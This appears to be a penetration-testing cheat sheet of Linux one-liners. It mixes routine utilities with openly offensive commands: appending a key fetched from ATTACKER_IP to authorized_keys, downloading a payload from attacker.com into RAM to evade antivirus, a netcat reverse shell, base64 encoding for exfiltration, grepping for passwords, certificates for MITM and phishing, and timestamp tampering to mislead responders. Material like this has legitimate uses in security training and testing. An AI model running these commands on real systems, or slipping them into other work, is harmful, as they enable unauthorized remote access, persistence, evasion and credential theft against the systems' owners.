Practical Linux Commands

File Manipulation Commands

Base64 Encoding for Exfiltration
```
base64 -w 0 file
```
Encodes a file to Base64 without line breaks. Useful for encoding data in a way that can be sent via HTTP or other text-based protocols.
Hex Dump Without New Lines
```
xxd -p boot12.bin | tr -d '\n'
```
Converts a binary file into a plain hex format. Removing new lines makes the output easier to manipulate, which is helpful for crafting payloads.
Public Key Injection
```
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
```
Adds an attacker's public key to the target machine’s authorized SSH keys. This gives the attacker remote access via SSH.
Count Lines in a File
```
wc -l <file>
```
Counts the number of lines in a file, useful for verifying the amount of output or checking logs.
Sort and Remove Duplicates
```
sort file | uniq
```
Sorts a file and removes duplicate lines. This is helpful when processing log files and identifying unique entries.
Find Files Modified Within a Date Range
```
find / -newermt 2023-08-01 ! -newermt 2023-08-05 -type f
```
Finds files modified between specific dates, aiding in identifying files that may have been tampered with during an attack.

Set Up an HTTP Server (Quick File Serving)
```
python3 -m http.server 80
```
Creates an HTTP server to share files with the target machine. This is useful for serving payloads or retrieving data.

Curl for Sending JSON Data

curl --header "Content-Type: application/json" --request POST --data '{"username":"admin","password":"password"}' http://target/endpoint

Sends JSON data to a web application, ideal for testing API endpoints or mimicking application behavior.

SSH Key Scanning
```
ssh-keyscan 10.10.10.101
```
Retrieves the SSH key fingerprint from a remote machine. It helps in identifying duplicate SSH hosts, reducing security blind spots.

List Open Files of Network Processes
```
lsof -i
```
Lists open files related to network processes. This is particularly useful to identify suspicious connections or find the process behind an open port.
Process Monitoring with ps
```
ps aux | grep apache
```
Shows all processes and filters them by name (in this case, apache). This command helps you discover running services on the system.
Finding Network Connections
```
netstat -an | grep ESTABLISHED
```
Displays established network connections. Essential for spotting backdoors or open connections to attacker-controlled servers.

Generate RSA Key
```
openssl genrsa -out attacker.key 2048
```
Creates an RSA key, which can be used for encrypted communication, establishing secure connections, or signing data.
Decrypt SSH Key
```
openssl rsa -in key.ssh.enc -out key.ssh
```
Decrypts an encrypted SSH private key. Useful when handling compromised SSH keys that are password protected.
Create a Signed Certificate
```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
```
Creates a self-signed certificate, which can be used to mimic HTTPS servers for man-in-the-middle (MITM) attacks or phishing.

Set Immutable Bit on a File
```
sudo chattr +i /path/to/file
```
Prevents modification or deletion of a file. Setting this flag can be a persistence technique to maintain unauthorized changes.
Find SUID Binaries
```
find / -perm -4000 2>/dev/null
```
Finds all files with the SUID bit set. SUID binaries are a common target for privilege escalation attacks, making this a valuable command during enumeration.

Download to RAM to Evade Detection
```
wget http://attacker.com/payload.py -O /dev/shm/payload.py
```
Downloads a file directly into the system’s RAM, making it less detectable by antivirus and other security software.
Running a Reverse Shell with Netcat
```
nc -e /bin/bash 10.10.10.10 4444
```
Establishes a reverse shell from the target to the attacker's machine. This command is a cornerstone for remote code execution exploits.

Extract Emails
```
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
```
Extracts email addresses from files. Useful when searching for credentials or contacts during an attack.
Extract Passwords
```
grep -i "pwd\|pass\|password" file.txt
```
Looks for potential password patterns in a file, an essential command for data discovery during internal network penetration tests.
Extract IP Addresses
```
grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}" file.txt
```
Finds all IP addresses inside a file, helpful for network mapping and identifying potential targets.

Change Timezone
```
sudo dpkg-reconfigure tzdata
```
Allows the attacker to change the system’s timezone. Useful for modifying timestamps during an attack to mislead incident responders.
Mount Virtual Hard Drives
```
guestmount --add NAME.vhd --inspector --ro /mnt/vhd
```
Mounts a VHD file for investigation or exploitation. This can help access virtual machines' data without fully booting them.

Last updated 18 days ago

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